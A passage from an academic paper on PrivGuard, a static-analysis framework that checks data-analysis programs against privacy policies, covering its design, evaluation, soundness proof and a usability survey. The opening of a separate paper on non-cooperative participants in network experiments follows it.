defeated by complex control flow designed to obfuscate
execution. For example, the data subject might specify
the policy ALLOW REDACT name (1 : ), which requires redact-
ing most of the name column. An analyst might write the
following program:

if data.name == ’Alice’:
return 1

else:
return 2

This program clearly violates the policy, even though it
does not return the value of data.name directly. This kind
of violation is due to an implicit flow of the name column
to the return value. A return value of 1 allows the analyst
to confirm with certainty that the data subject’s name is
Alice. This kind of implicit flow presents a significant
challenge for dynamic analyses, because dynamic analy-
ses only execute one branch of each conditional, and can
make no conclusions about the branch not taken. A dy-
namic analysis must either place significant restrictions
on the use of sensitive values in conditionals, or allow
for unsoundness due to implicit flows.

Static analyzers like PRIVANALYZER, on the other
hand, can perform a worst-case analysis that inspects
both branches. PRIVANALYZER’s analysis executes both
branches with the abstract interpreter and returns the
worst-case outcome of both branches. For loops with no
bound on the number of iterations, the analysis results
represent the worst-case outcome, no matter how many
iterations execute at runtime. This power comes at the
expense of a potential lack of precision—the analysis
may reject programs that are actually safe to run. Our
evaluation suggests, however, that PRIVANALYZER anal-
ysis is sufficiently precise for programs that perform data
analyses. Static analysis tools like PRIVANALYZER do
not require the policy specification to be aware of implicit
flows as it combines both types of flows in its results.

3.4 PRIVANALYZER by Example
The input to PRIVANALYZER is a single analysis pro-
gram, plus all of the policies of the data files it processes.
For each of the program’s outputs, PRIVANALYZER pro-
duces a residual policy. After running the analysis, PRIV-

GUARD will attach each of these residual policies to the
appropriate concrete output.

PRIVANALYZER works by performing abstract inter-
pretation, where the inputs to the program are abstract
values containing representations of the associated poli-
cies. The output of this process is a set of abstract values
containing representations of the residual policies.

A complete example of this process is summarized in
Figure 6. The analysis is a Python program adapted from
an open-source analysis submitted to Kaggle [9]. Impor-
tant locations in the program are labeled with numbers
(e.g. 1©) and the associated residual policy PRIVANA-
LYZER computes at that program location.
Reading Data into Abstract Values. The program be-
gins by reading in a CSV containing the sensitive data
(Fig. 6, 1©). PRIVANALYZER’s abstract interpretation li-
brary redefines read_csv to return an abstract dataframe
containing the policy associated with the data being read.
At location 1©, the variable df thus contains the full pol-
icy for the program’s input. In this example, the policy
allows the program to use the “age,” “credit,” and “dura-
tion” columns, requires filtering out the data of minors,
and
Mixing Concrete and Abstract Values. The next part
of the program defines some constants, which PRIV-
ANALYZER represents with concrete values lacking at-
tached policies. Then, the program drops one of the input
columns (Fig. 6, 2©); this action does not change the
policy, because the columns being dropped are not suffi-
cient to satisfy any of the policy’s requirements, so the df

variable is unchanged.
Satisfying FILTER Requirements. The next statement
(Fig. 6, 3©) performs a filtering operation. The PRIVAN-
ALYZER library redefines this operation to eliminate the
appropriate FILTER requirements from the policy; since
this filtering operation removes individuals below the age
of 25, it satisfies the FILTER requirement in the policy, and
the new value of df is an abstract dataframe whose policy
does not have this requirement.
Handling Loops. The next part of the program con-
tains a for loop (Fig. 6, 4©). Loops are traditionally a
big challenge for static analyzers. PRIVANALYZER is
designed to take advantage of loops over concrete values,
like this one, by simply executing them concretely. PRI-
VANALYZER can also handle loops over abstract values
(described later in this section), but these were relatively
rare in our case studies.
Libraries and Black-box Operations. The next pieces
of code (Fig. 6, 5© and 6©) first take the log of each
feature, then scale the features. Both of these operations
impact the scale of feature values. After these operations,
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Figure 6: Example Abstract Interpretation with PRIVANALYZER.

it becomes impossible to satisfy policy requirements like
FILTER, because the original data values have been lost.
For lossy operations like these, which we call black-box
operations (detailed below), PRIVANALYZER is designed
to raise an alarm if value-dependent requirements (like
FILTER) remain in the policy.
Training a Model. The final piece of code (Fig. 6, 7©
and 8©) uses the KMeans implementation in scikit-learn
to perform clustering. We summarize this method to
specify that it satisfies de-identification requirements in
the policy. The result in our example is an empty residual
policy, which would allow the analyst to view the results.

3.5 Challenging Language Features
We now address the approach taken in PRIVANALYZER
for several challenging language features.
Conditionals. Conditionals depending on abstract val-
ues require the abstract interpreter to run both branches
and compute the upper bound on both results. Since
Python does not allow redefining if statements, we add
a pre-processing step to PRIVGUARD that transforms
conditionals by running both branches.
Loops. Loops are traditionally the most challenging
construct for abstract interpreters to handle. Fortunately,
loops in Python programs for data analytics often fall
into restricted classes, like the ones in the example of
Figure 6. Both loops in this example are over constant
values—so our abstract interpreter can simply run each
loop body as many times as the constant requires.

Loops over abstract values are more challenging, and
the simple approach may never terminate. To address
this situation, we define a widening operator [49] for
each of the abstract domains used in PRIVANALYZER.
Widening operators force the loop to arrive at a fixpoint;

in our example, widening corresponds to assuming the
loop body will be executed over the whole dataframe.
Aliasing. Another challenge for abstract interpretation
comes from the issue of aliasing, where two variables
point to the same value. Sometimes, it is impossible for
the analysis to determine what abstract value a variable
references. In this case, it is also impossible to determine
the outcome of the side effects on the variable.

Our approach of re-using the existing Python inter-
preter helps address this challenge: in PRIVANALYZER,
all variable references are evaluated concretely. In most
cases, references are to concrete objects, so the analysis
corresponds exactly to concrete execution. In a few cases,
however, this approach leads to less precise analysis. For
example, if a variable is re-assigned in both branches of
a conditional, PRIVANALYZER must assume the worst-
case abstract value (i.e. with the most restrictive policy)
is assigned to the variable in both cases. This approach
works well in our setting, where conditionals and aliasing
are both relatively rare.

3.6 Attribute Enforcement
We now describe some attribute-specific details of our
compliance analysis.
Schema, Filter, and Redact. The SCHEMA, FILTER, and
REDACT attributes can be defined formally and compli-
ance can be checked by PRIVANALYZER. In our im-
plementation, relevant function summaries remove the
attribute from the privacy policy if the library’s concrete
implementation satisfies the corresponding requirement.
Our summaries thus implement abstract interpretation for
these functions. Note that PRIVANALYZER assumes that
functions without summaries do not satisfy any policy
requirements. PRIVANALYZER is therefore incomplete:
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some programs may be rejected (due to insufficient func-
tion summaries) despite satisfying the relevant policies.
Privacy. The PRIVACY attribute is also checked by
PRIVANALYZER. Analysis programs can satisfy de-
identification requirements by calling functions that re-
move identifying information (e.g. aggregating records
or training machine learning models). Programs can sat-
isfy k-Anonymity2, `-diversity2, t-closeness or differen-
tial privacy requirements by calling specific functions
that provide these properties. Our function summaries
include representative implementations from the cur-
rent literature: IBM Differential Privacy Library [38],
K-Anonymity Library [16], and Google’s Tensorflow Pri-
vacy library [26].

There are two subtleties when enforcing differential
privacy attributes. First, programs that satisfy differen-
tial privacy also need to track the privacy budget [34].
By default, PRIVGUARD tracks a single global cumu-
lative privacy cost (values for ε and δ) for each source
of submitted data, and rejects new analysis programs
after the privacy cost exceeds the budget amount. PRIV-
ANALYZER reports the privacy cost of a single analysis
program, allowing PRIVGUARD to update the global pri-
vacy cost. A single global privacy budget may be quickly
exhausted in a setting with many analysts performing
different analyses. One solution to this problem is to gen-
erate differentially private synthetic data, which can be
used in later analyses without further privacy cost. The
High-Dimensional Matrix Mechanism (HDMM) [45] is
one example of an algorithm for this purpose, used by
the US Census Bureau to release differentially private
data. In PRIVGUARD, arbitrarily many additional anal-
yses can be performed on the output of algorithms like
HDMM without using up the privacy budget. Another
solution is fine-grained budgeting, at the record level (as
in ProPer [35]) or a statically defined “region” level (as
in UniTraX [47]). The first is more precise, but requires
silently dropping records for which the privacy budget
is exhausted, leading to biased results. Both approaches
allow for continuous analysis of fresh data in growing
databases (e.g. running a specific query workload ev-
ery day on just the new data obtained that day). Second,
to calculate privacy budget, PRIVGUARD initializes a
variable to track the sensitivity of the pre-processing
steps before the differentially private function. The pre-
processing function summaries should manipulate the

2 k-Anonymity and `-diversity are vulnerable to disclosure attacks
as pointed out in [40]. k-Anonymity is vulnerable to homogeneity and
background knowledge attacks, and `-diversity suffers from skewness
and similarity attacks. We strongly encourage using t-closeness or dif-
ferential privacy for stronger protection. PRIVGUARD provides weaker
approaches only for compatibility purposes.

variable to specify their influence on the sensitivity. If
such specification is absent in any function before the
differentially private function, PRIVGUARD will throw
a warning and recognize the differential privacy require-
ment as unsatisfied.
Role. ROLE attributes are enforced by authentication tech-
niques such as password, 2-factor authentication , or even
biometric authentication . In addition, ROLE attributes are
also recorded in an auditable system log described in the
next paragraph, and the analysts and the data curators
will be held accountable for fake identities.
Purpose. The PURPOSE attribute is inherently informal.
Thus, we take an accountability-based approach to com-
pliance checking for purposes. Analysts can specify their
purposes when submitting the analysis program, and
may specify an invalid purpose unintentionally or mali-
ciously. These purposes will be used by PRIVANALYZER
to satisfy PURPOSE requirements. PRIVGUARD produces
an audit log recording analysts, analysis programs, and
claimed purposes. Thus, all the analysis happening in the
system can be verified after the fact, and analysts can be
held legally accountable for using invalid purposes.

4 Evaluation

The evaluation is designed to demonstrate that (1) PRIV-
ANALYZER supports commonly-used libraries for data
analytics and can analyze real-world programs, and (2)
PRIVGUARD is lightweight and scalable. To demonstrate,
we (1) test PRIVANALYZER using 23 real-world analy-
sis programs drawn from the Kaggle contest platform,
and (2) measure the overhead of PRIVGUARD using a
subset of these programs. The results show that PRIV-
GUARD can correctly enforce PRIVPOLICY policies on
these programs with reasonable performance overhead.

4.1 Experiment Setup
We implemented PRIVANALYZER in about 1400 lines of
Python and integrated it in an industrial-level data gov-
ernance platform, Parcel [1], to prototype PRIVGUARD.
We instantiated our implementation with Inter Planetary
File System (IPFS) for the storage layer, AES-256-GCM
for the encryption algorithm, and AMD SEV for TEE.

To evaluate PRIVGUARD’s static analysis on real-
world programs, we collect analysis programs for 23
different tasks from Kaggle, one of the most well-known
platforms for data analysis contests. These programs
analyze sensitive data such as fraud detection [15] and
transaction prediction [22]. We selected these programs
as case studies to demonstrate PRIVGUARD’s ability
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Index Application Type # Features # Samples # LoC External libraries
1 Fraud Detection - Random [15] 435 590541 157 LightGBM, NumPy, pandas, scikit-learn
2 Fraud Detection - Top [15] 435 590541 157 LightGBM, NumPy, pandas, scikit-learn
3 Merchant Recommendation [11] 41 201917 199 LightGBM, NumPy, pandas, scikit-learn
4 Customer Satisfaction Prediction [21] 370 76020 104 NumPy, pandas, scikit-learn, XGBoost
5 Customer Transaction Prediction - Random [22] 201 200000 89 NumPy, pandas, scikit-learn
6 Customer Transaction Prediction - Top [22] 201 200000 89 NumPy, pandas, scikit-learn
7 Bank Customer Classification [6] 13 10000 276 NumPy, pandas, scikit-learn
8 Bank Customer Segmentation [7] 9 1000 75 NumPy, pandas, scikit-learn
9 Credit Risk Analysis [9] 9 1000 57 NumPy, pandas, sklearn

10 Bank Customer Churn Prediction [5] 13 10000 169 NumPy, pandas, SciPy, scikit-learn
11 Heart Disease Causal Inference [14] 14 303 83 NumPy, pandas, SHAP, scikit-learn
12 Classify Forest Categories [8] 52 1000 50 NumPy, pandas, PySpark
13 PyTorch-Simple LSTM [23] 45 1780832 178 NumPy, pandas, Keras, PyTorch
14 Tensorflow-Solve Titanic [25] 7 891 163 NumPy, pandas, scikit-learn, Tensorflow
15 Earthquake Prediction - Top [17] 2 1000 132 NumPy, pandas, tsfresh, librosa, pywt, SciPy
16 Display Advertising - Top [10] 41 1000 60 math
17 Fraud Detection - Top [24] 8 1000 106 NumPy, pandas, Keras, Tensorflow
18 Restaurant Revenue Prediction - Top [20] 42 1000 115 NumPy, pandas, FastAI, scikit-learn
19 NFL Analytics - Top [19] 18 1000 152 NumPy, pandas, SciPy, scikit-learn
20 NCAA Prediction - Top [13] 34 1000 561 NumPy, pandas, Pymc3
21 Home Value Prediction - Top [29] 58 1000 272 NumPy, pandas, sklearn, XGBoost
22 Malware Prediction - Top [18] 83 1000 194 NumPy, pandas
23 Web Traffic Forecasting - Top [27] 551 1000 346 NumPy, pandas

Table 1: Case Study Programs. # LoC = Lines of Code. Random suffix means the program is chosen randomly from the
contest. Top-ranked suffix means the program is chosen from the top-ranked programs on the leaderboard.

to analyze real-world analysis programs and support
commonly-used libraries. These case studies are chosen
to be representative of the programs written by data scien-
tists during day-to-day operations at many different kinds
of organizations. We surveyed 100 kaggle programs ran-
domly and found that approximately 85% programs are
less than 300 lines of code (after removing blank lines).
Correspondingly, our case studies range between 50 and
276 lines of code, total exactly 1600 lines of code and in-
clude randomly picked programs from Kaggle notebook
and top-ranked programs on the contest leaderboard. As
shown in Table 1, these programs use a variety of external
libraries including widely used libraries like pandas, PyS-
park, Tensorflow, PyTorch, scikit-learn, and XGBoost.

As the first step of the evaluation, we use PRIVANA-
LYZER to analyze the collected programs listed in Table 1.
In the experiment, we manually designed an appropri-
ate LEGALEASE policy for each program, and then at-
tached them to each of the datasets. For each program,
we recorded both the time running on the dataset and
the time for PRIVANALYZER to analyze the program.
We also manually checked that the analysis result out-
put by PRIVANALYZER was correct. All the experiments
were run on a Ubuntu 18.04 LTS server with 32 AMD
Opteron(TM) Processor 6212 with 512GB RAM. The
results appear in Table 2. As the second step of the evalu-
ation, we picked 7 case studies with open-source datasets,
ran them on the PRIVGUARD prototype, and measured

the system overhead.
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Figure 7: System overhead of PRIVGUARD prototype
with one million simulated users.

4.2 Results

Support for Real-World Programs. Our experiment
demonstrates PRIVGUARD’s ability to analyze the kinds
of analysis programs commonly written to process data in
organizations. The results in Table 2 show that the static
analysis took just a second or two for most programs, with
three outliers taking 3.32, 4.78, and 6.84 seconds. The
reason for the outliers is described in the next paragraph.

As in other abstract interpretation and symbolic execu-
tion frameworks, we expect that conditionals, loops, and
other control-flow constructs will have a bigger effect on
analysis time than program length. Fortunately, programs
for data analytics and machine learning tend not to make
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Index
Exec
Time (s)

Analysis
Time (s)

Overhead Soundness

1 12571.01 1.41 1.12e−2% !

2 19951.10 3.32 1.66e−2% !

3 16762.65 1.18 7.04e−3% !

4 151.72 1.22 8.04e−1% !

5 17.14 1.08 6.30% !

6 33.71 0.96 2.84% !

7 32.66 2.03 6.22% !

8 86.82 2.19 2.52% !

9 4.65 1.01 21.72% !

10 295.16 1.29 4.37e−1% !

11 3.99 1.00 25.06% !

12 1017.83 1.01 1.00e−1% !

13 717.58 6.84 9.53e−1% !

14 13.33 4.78 35.86% !

15 217.36 2.26 1.04% !

16 3.60 1.20 33.33% !

17 5.19 1.37 26.40% !

18 47.12 1.57 3.33% !

19 202.96 1.33 6.55e−1% !

20 59.83 1.66 2.77% !

21 54.44 2.55 4.68% !

22 51.36 1.23 2.39% !

23 45.58 2.45 5.37% !

Table 2: Execution Time vs. Analysis Time. The index
of case studies is the same as in Table 1.

extensive use of these constructs, especially compared to
traditional programs. Instead, they tend to use constructs
provided by libraries, like the query features defined in
pandas or the model construction classes provided by
scikit-learn. The outliers mentioned above (case studies
2, 13, and 14) contain relatively heavy use of conditionals,
and as a result, their analysis took slightly longer than the
other programs. These results suggest that PRIVGUARD
will scale to even longer programs for data analytics and
machine learning, especially if those programs follow
the same pattern of favoring library use over traditional
control-flow constructs.

Table 2 reports performance overhead for all 23 case
studies. The results report analysis performance over-
head—the ratio of the time taken for static analysis to
the native execution time of the original program. The re-
sults show that this overhead is negligible. For case study
programs which take a significant time to run, the perfor-
mance overhead of deploying PRIVGUARD is typically
less than 1%. For faster-running programs, the absolute
overhead is similar—just a second or two, typically—but
this represents a larger relative change when the pro-
gram’s execution time is small. The maximum relative
performance overhead in our experiments was about 35%,
for a program taking only 13.33 seconds.

Overall Performance Overhead and Scalability. We
also evaluate 7 case studies on our prototype implementa-
tion and measure the total overhead of the PRIVGUARD
system. The results appear in Figure 7 and 8. For each
case study, we synthesize one million random policies by
combining possible attributes and changing parameters
in the attributes to simulate one million data subjects’ pri-
vacy preferences. The results show that the performance
overhead for ingesting one million policies is under 150
seconds. Concretely, over half of the overhead is spent
on Parcel’s system overhead such as data uploading, data
storage, data encryption, etc. Data ingestion takes about
one-third of the overhead and the static analysis only
takes less than 10 seconds.

We also benchmark the overhead with different num-
bers of users as shown in Figure 8. Parcel overhead refers
to the overhead incurred by the Parcel platform such as
data loading or transmission. Scan overhead refers to
the time spent on finding the policies no stricter than
the guard policy. Merge overhead refers to the time used
to merge the datasets inside TEE. Analysis overhead
refers to the overhead of running PRIVANALYZER. As
shown in Figure 8, Parcel overhead, scan overhead and
merge overhead are relatively stable when the number
of users is small and then scale linearly with the num-
ber of users. Note that we use the log10 scale to repre-
sent the x-axis. The curves are exponential but the rate
scales linearly. For all experiments except the static anal-
ysis: Overhead = O(#Users)+O(1). Not surprisingly,
the analysis overhead is almost constant for a fixed pro-
gram. The results show that PRIVGUARD is scalable to a
large number of users and datasets.

5 Related Work

Related work falls into two categories: (1) formalization
and (2) enforcement of privacy policies.
Privacy Policy Formalism. Tschantz et al. [56] use
modified Markov Decision Process to formalize purpose
restrictions in privacy policies. Chowdhury et al. [31]
present a policy language based on a subset of FOTL
capturing the requirements of HIPAA. Lam et al. [39]
prove that for any privacy policy that conforms to patterns
evident in HIPAA, there exists a finite representative
hospital database that illustrates how the law applies in
all possible hospitals. Gerl et al. [36] introduce LPL,
an extensible Layered Privacy Language that allows to
express and enforce new privacy properties such as user
consent. Trabelsi et al. [55] propose the PPL sticky policy
based on XACML to express and process privacy policies
in Web 2.0. Azraoui et al. [30] focus on the accountability
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(b) Scan overhead.
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(c) Merge overhead.
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(d) Analysis overhead.

Figure 8: PRIVGUARD overhead details. The scalability
is linear (note the logarithmic scale).

side of privacy policies and extend PPL to A-PPL.
Privacy Policy Compliance Enforcement. Going be-
yond the formalism of privacy regulations, recent re-
search also explores techniques to enforce formalized
privacy policies. Chowdhury et al. [32] propose to use
temporal model-checking for run-time monitoring of pri-
vacy policies. Sen et al. [53] introduce GROK, a data
inventory for Map-Reduce-like big data systems. PODS /
SOLID [43] focuses on returning control over data to its
owners. In PPL policy engine [55], the policy decision
point (PDP) matches the data curator’s privacy policy and
data subjects’ privacy preferences to decide compliance.
The privacy policy is enforced by the policy enforcement
point. Compared with our work, the PPL policy engine
provides limited support for fine-grained privacy compli-
ance in complex data analysis tasks as its enforcement
engine relies on direct trigger-to-action translation. In ad-
dition, PPL does not provide a rigorous soundness proof.
Similar differences exist in its extension A-PPL [30] and
the SPECIAL project [2]. Our work provides an enforce-
ment mechanism necessary to address these issues and
can be seen as a first step towards meeting the ambitious
challenge posed by Maniatis et al. [42].

6 Limitation

We would like to note several limitations of PRIVGUARD
and deem mitigating them as important future directions.
First, PRIVGUARD is vulnerable to insider attacks. In
our threat model, we assume the data analysts are hon-
est but reckless and might violate the privacy regulation

unintentionally. Such a threat model should be enough
to capture most real-world use cases. However, defend-
ing against malicious analysts is much more challenging.
Because PRIVANALYZER is implemented as a Python
library, it is possible to craft malicious programs that
evade its analysis. For example, a malicious program
might dynamically redefine PRIVANALYZER’s runFilter

function (used in our earlier example) to always report
that the policy has been satisfied. A syntactic analysis
that detects the use of dynamic language features before
the program is loaded could address this issue. However,
it is challenging to detect all such attacks due to the large
number of dynamic features in Python.

Second, many PURPOSE attributes cannot be automat-
ically enforced by PRIVGUARD as they are not related
to program properties. For example, whether a program
represents a “legitimate interest” can only be judged by
a human, and thus cannot be decided by any fully auto-
mated system without manual description by a human. To
address this challenge, we choose to log these attributes
and make the log accessible for human auditing. We em-
phasize that our goal is to minimize rather than eliminate
human efforts in the compliance process.

Third, PRIVGUARD relies on TEE such as AMD SEV
to defend against untrusted third parties. However, recent
studies have spotted several vulnerabilities in mainstream
TEEs [46, 58] which weakens their protection against
malicious third parties. Although out of scope, we would
like to mention these possible exploits to potential users.

7 Conclusion & Future Work

In this paper, we propose PRIVGUARD, a framework for
facilitating privacy regulation compliance. The core com-
ponent is PRIVANALYZER, a static analyzer supporting
compliance verification between a program and a policy.
We prototype PRIVGUARD on Parcel, an industrial-level
data governance platform. We believe that PRIVGUARD
has the potential to significantly reduce the cost of pri-
vacy regulation compliance.

There are also several future directions we would
like to pursue for future versions of PRIVGUARD. First,
we would like to further improve the usability of PRIV-
GUARD’s API in consideration of HCI requirements so
that non-experts can easily specify their own privacy pref-
erences. Second, PRIVGUARD now adopts an one-shot
consent strategy, which covers most current application
scenarios but has several defects as pointed out in [52].
This limitation can be addressed by allowing the data
curator to ask data subjects for dynamic consent after
data collection, as depicted in [52].
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A Formal Model of PRIVANALYZER

In this section, we formally present technique for proving
soundness of our static analysis. We use the filter attribute
as an example to demonstrate the technique for proving
soundness in the context of a simple model of a program-
ming language. As described in Section 3, Python is a
more dynamic language than our model, and these dy-
namic features may represent possible side channels for
malicious adversaries.

A.1 Abstract Domains
We provide the formal definition on of the abstract do-
mains used in PRIVGUARD in this section. Formally,
given a concrete domain D , we define the following com-
ponents:
• an abstract domain < D],v> containing abstract val-

ues (D]) which represent classes of abstract values,
and a partial ordering (v) on those values.

• an abstraction function α : D→D] mapping concrete
values to abstract values.
• a concretization function γ : D] → P (D) mapping

abstract values to sets of concrete values.
For each attribute type, we define D], v, α, and γ. We
define each abstract domain in terms of a tabular data
format approximating a Pandas dataframe (which we
denote d f ).

As described earlier, some kinds of loops may cause
the abstract interpreter to loop forever. To address this
challenge, we adopt the standard approach of using a
widening operator [49], denoted ∇, in place of the stan-
dard partial ordering operatorv. Unlike the partial order-
ing, the widening operator is guaranteed to stabilize when
applied repeatedly in a loop. Finite abstract domains do
not require a widening operator; for infinite domains (like
the interval domain used in FILTER attributes), we adopt
the standard widening operator used for the underlying
domain (e.g. widening for intervals [49]).
Filter Attributes. We track filtering done by analysis
programs using an interval domain [49], which is com-
monly used in the abstract interpretation literature. Ab-
stract dataframes in this domain (denoted D]) associate
an interval (denoted I) with each column ci, and analy-
sis results are guaranteed to lie within the interval. In
addition to known intervals (i.e. (n1,n2)), our set of in-
tervals includes > (i.e. the interval (−∞,∞)) and ⊥ (i.e.
the interval containing no numbers). Our interval domain
works for dataframe columns containing integers or real
numbers; our formalization below uses R∞ to denote the
set of real numbers, extended with infinity.

i ∈ IR = (R∞×R∞)∪{>,⊥}
d f ] ∈ D] = (c1 : IR)× ...× (cn : IR)

f ∈ field m ∈ int s ∈ schema x ∈ dataframes

ϕ ∈ filter ::= c < m | c > m
e ∈ expr ::= x | filter(ϕ,e) | project(s,e)

| redact(c,n,n,e) | join(e,e)
| union(e,e) | dpCount(ε,δ,e)

Figure 9: Program surface syntax

eval(ρ,x) = ρ(x)
eval(ρ,filter(ϕ,e)) = σϕeval(ρ,e)
eval(ρ,project(s,e)) = Πseval(ρ,e)
eval(ρ, redact(c,n1,n2,e)) = {c : stars(s,n1,n2) |

c : s ∈ eval(ρ,e)}
eval(ρ, join(e1,e2)) = eval(ρ,e1) ./ eval(ρ,e2)
eval(ρ,union(e1,e2)) = eval(ρ,e1)∪eval(ρ,e2)

Figure 10: Concrete interpreter for language in Figure 9.

For ease of presentation, and without loss of generality,
we define α and γ in terms of dataframes with a single
column c. We denote values in the column c by d f .c.

c :⊥ v D]

D] v c :>
c : (n1,n2) v c : (n3,n4) if n1 ≥ n3∧n2 ≤ n4
α(d f ) = c : (min(d f .c),max(d f .c))
γ(c :>) = D
γ(c :⊥) = {}
γ(c : (n1,n2)) = {d f | ∀v ∈ d f .c. n1 ≤ v≤ n2}

A.2 Soundness

A sound analysis by abstract interpretation requires defin-
ing the following:
• A programming language of expressions e∈ Expr. We

define a simple language for dataframes, inspired by
Pandas, in Figure 9.

• A concrete interpreter eval : Env×Expr→D speci-
fying the semantics of the programming language on
concrete values. We define the concrete interpreter for
our simple language in Figure 10.

• An abstract interpreter eval] : Env] × Expr → D]

specifying the semantics of the programming lan-
guage on abstract values. An example for FILTER at-
tributes appears in Figure 11.

The concrete interpreter eval computes the concrete re-
sult of a program e in the context of an environment
mapping variables to concrete values. The abstract inter-
preter eval] computes an output policy of a program e in
the context of an abstract environment mapping variables
to their policies. The program satisfies its input policies
if it has at least one empty clause (i.e. a satisfied clause)
in its output policy.
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eval](ρ,x) = ρ(x)
eval](ρ,filter(ϕ,e)) = eval](ρ,e)− interval(ϕ)
eval](ρ,project(s,e)) = eval](ρ,e)
eval](ρ, redact(c,n1,n2,e)) = eval](ρ,e)
eval](ρ, join(e1,e2)) = eval](ρ,e1)teval](ρ,e2)
eval](ρ,union(e1,e2)) = eval](ρ,e1)teval](ρ,e2)

interval(c < m) = c : (−∞,m)
interval(c > m) = c : (m,∞)

c : (l1,u1)− c : (l2,u2) = c : (l3,u3)
where l3 =−∞ when l1 ≤ l2, and l1 otherwise

u3 = ∞ when u1 ≥ u2, and u1 otherwise

Figure 11: Abstract interpreter for FILTER attributes

The soundness property for the abstract interpreter
says that the concrete result of evaluating a program e
is contained in the class of values represented by the
result of evaluating the same program using the abstract
interpreter.

Theorem 1 (Soundness). For all environments ρ and
expressions e, the abstract interpreter eval] is a sound
approximation of the concrete interpreter eval:

eval(ρ,e) ∈ γ(eval](α(ρ),e))

where the abstract environment α(ρ) is obtained by
abstracting each value in the concrete environment ρ (i.e.
α(ρ)(x) = α(ρ(x))).

Soundness can be proven for each abstract domain sep-
arately. In each case, the proof of soundness proceeds by
induction on e, with case analysis on the kind of abstract
value returned by uses of eval] on subterms.
Soundness for Filter Attributes. We present the ab-
stract interpreter for the filter abstract domain in Fig-
ure 11. The interesting case of this interpreter is the one
for filter expressions, which converts the filter predicate ϕ

to an interval and returns an abstract value derived from
the meet of this interval and the recursive call. We prove
the soundness of the interpreter as following.
Proof of soundness. By induction on e. We consider
the (representative) case where e = filter(ϕ,e′). By
the inductive hypothesis, we have that eval(ρ,e′) ∈
γ(eval](α(ρ),e′)). Let interval(ϕ) = (n1,n2). We want
to show (by definition of eval and eval]:

eval(ρ,filter(ϕ,e′)) ∈ γ(eval](α(ρ),filter(ϕ,e′)))
⇐⇒ σϕeval(ρ,e′) ∈ γ(eval](α(ρ),e′)− interval(ϕ))
⇐⇒ σn1≤c≤n2eval(ρ,e

′) ∈ γ(c : (n1,n2)ueval](α(ρ),e′))
⇐⇒ σn1≤c≤n2eval(ρ,e

′) ∈ γ(c : (max(n1,n3),min(n2,n4)))
⇐⇒ σn1≤c≤n2eval(ρ,e

′) ∈
{d f | ∀v ∈ d f .c. max(n1,n3)≤ v≤min(n2,n4)}

which holds by the inductive hypothesis and semantics
of selection in relational algebra.

B Usability Survey

To complement the survey in [53] targeting privacy cham-
pions, we conducted an online survey targeting general

users to obtain a preliminary understanding of how far
expertise is needed to understand or encode privacy pref-
erences. The survey is granted IRB exemption by Office
for Protection of Human Subjects under category 2 of
the Federal and/or UC Berkeley requirements.

We recruit 30 participants in total among which 7 has
no background in programming (Group A), 2 has pro-
grammed in one language (Group B), 15 has programmed
in two languages or more (Group C), and 6 self-identify
as experts in programming language (Group D). The sur-
vey is comprised of 8 questions in total. The first three
are about understanding privacy policies and the latter
five are to choose the correct option from 4 possible
choices. Group A makes 38.1% (8/21) mistakes when un-
derstanding and 31.4% (11/35) mistakes when selecting.
Group B makes 16.7% (1/6) mistakes when understand-
ing and 20.0% (2/10) mistakes when selecting. Group C
makes 15.6% (7/45) mistakes when understanding and
17.3% (13/75) mistakes when selecting. Group D makes
11.1% (2/18) mistakes when understanding and 13.3%
(4/30) mistakes when selecting. Besides, each question
has a different focus. For example, Question 2 focuses
on understanding ROLE and PURPOSE attributes.

We observe several interesting facts in the survey re-
sults. First, there is a big gap in accuracy between Group
A and B. This indicates that it might not be trivial for
users without programming experience to specify their
privacy preferences in LEGALEASE directly. Although
out of scope of this paper, we deem it an important fu-
ture direction to simplify this process for Group A users
using more user-friendly API or machine-learning-based
translation tools. Besides, this also shows that any pro-
gramming experience is helpful in understanding and
encoding in LEGALEASE. Second, there is no obvious
accuracy gap between Group B and Group C, and Group
D has better accuracy than them. Third, it is hard for all
groups to answer questions related to PRIVACY attributes.
The hardness stems from the hardness in understanding
privacy techniques such as differential privacy.

Ethical Considerations. The survey was posted as a
public questionnaire on Twitter and Wechat with in-
formed consent. The participants opted in the survey
voluntarily. In order to fully respect the participants’ pri-
vacy, we do not collect any personal identifiable informa-
tion from them. Only the answers to the questionnaire
are collected.
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Abstract

A large body of research in network and social sciences stud-
ies the effects of interventions in network systems. Nearly all
of this work assumes that network participants will respond
to interventions in similar ways. However, in real-world sys-
tems, a subset of participants may respond in ways purpose-
fully different than their true outcome. We characterize the
influence of non-cooperative nodes and the bias these nodes
introduce in estimates of average treatment effect (ATE). In
addition to theoretical bounds, we empirically demonstrate
estimation bias through experiments on synthetically gener-
ated graphs and a real-world network. We demonstrate that
causal estimates in networks can be sensitive to the actions of
non-cooperative members, and we identify network structures
that are particularly vulnerable to non-cooperative responses.

1 Introduction

Experimentation is an important facet of responsible gover-
nance, especially in the digital public sphere [46]. Without
experimentation, firms that control the platforms we use to
power the public sphere will make changes based on observa-
tional data or by fiat [48]. While experimentation on platforms
such as online social networks (OSNs) has at times been con-
troversial, experimentation is not harmful per se, and can in
fact be the only mechanism for mitigating harm when imple-
menting design changes [39, 47].

In OSNs, users often do not know whether they are cur-
rently receiving an experimental treatment. In this setting,
consent to participate in the experiment is not decoupled
from participation in the service. Furthermore, users may be
aware that the platform makes extensive use of A/B tests, and
that may even be explicit in the OSN terms of service. Non-
participation in an OSN means not using the service, which
for many users is unacceptable.

Others have studied and addressed consent models in these
contexts [25,33,34]; we will not address consent here. Instead,
we recognize that there are experiments that may not require

Figure 1: An instance of non-cooperative-but-not-malicious
behavior on Facebook, a large online social network.

the level of consent or control that users desire, while still
being ethical. We focus on a direct consequence of this phe-
nomenon: non-cooperative behavior when the user believes
they are being experimented upon.

Figure 1 illustrates such behavior. This seemingly innocu-
ous example belies two major concerns: (1) users may believe
they are currently in an experiment due to external informa-
tion or events (e.g., an upcoming election or a global pan-
demic), causing them to engage in non-cooperative behavior,
and (2) users may interact with others who are also in the

experiment, causing any estimation of treatment effect to be
tainted by spillover or peer effects. While peer effects have
been studied extensively, the models that correct for spillover
on average treatment effect (ATE) typically assume that the
measured outcome for an individual is some combination of
their true outcome and some additional effect resulting from
exposure to other experimental subjects. When participants re-
spond in ways purposefully different than their true outcome,
their non-cooperative outcomes are observed by neighbors,
resulting in a change in behavior of neighboring participants
due to spillover effects.
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Contributions. We examine how non-cooperative partic-
ipant (NCP) behavior and its resulting peer effects can in-
fluence effect estimates. We compare the effect that subsets
of non-cooperative nodes can have on treatment effect esti-
mates in network (relational) and non-network (propositional)
